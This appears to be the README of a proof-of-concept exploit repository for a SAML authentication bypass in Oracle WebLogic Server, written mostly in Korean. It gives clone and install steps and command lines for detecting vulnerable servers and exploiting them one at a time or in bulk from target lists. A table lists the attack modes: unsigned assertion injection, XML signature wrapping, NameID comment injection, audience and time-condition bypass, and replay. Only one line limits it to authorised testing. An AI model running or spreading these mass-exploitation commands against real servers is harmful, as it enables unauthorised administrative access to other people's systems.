imbas007/poc-cve-2026-60206cve cve-2026-60206 weblogic saml exploit poc 취약점 oracle 스캐너 보안
CVSS 9.9 — Oracle WebLogic Server Core의 SAML 인증 우회.
영향 대상: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0
⚠️ 승인된 보안 테스트 전용입니다.
git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
# Detect version + SAML endpoints
python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect
# Full exploit (all attack vectors)
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all -u weblogic
# Specific mode
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v
# With proxy
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify
# Detect only
python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json
# Detect + exploit (faster)
python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json
# Single URL mass mode
python3 CVE-2026-60206-exploit.py -l https://target:7002 --exploit
대상 파일 (줄당 하나):
192.168.1.100:7002
https://10.0.0.50
example.com
python3 CVE-2026-60206-exploit.py --list-modes
CVE-2026-60206/
├── CVE-2026-60206-exploit.py # Main script (single + mass)
├── mass_scan.py # Mass scanner module
├── modules/
│ ├── samlib.py # SAML manipulation (XSW, NameID, etc.)
│ ├── weblogic_client.py # WebLogic HTTP client
│ └── logger.py # Colored logging
├── requirements.txt
└── README.md
| 모드 | 설명 |
|---|
unsigned | 서명되지 않은 SAML 어서션 주입 |
xsw | XML 서명 래핑 (4가지 변형) |
nameid | NameID 조작 / 주석 주입 |
combo | 결합: XSW + 서명되지 않은 + NameID ⭐ |
audience | AudienceRestriction 우회 |
conditions | 시간/유효성 제한 우회 |
replay | SAML 응답 재전송 |
all | 모두 실행 |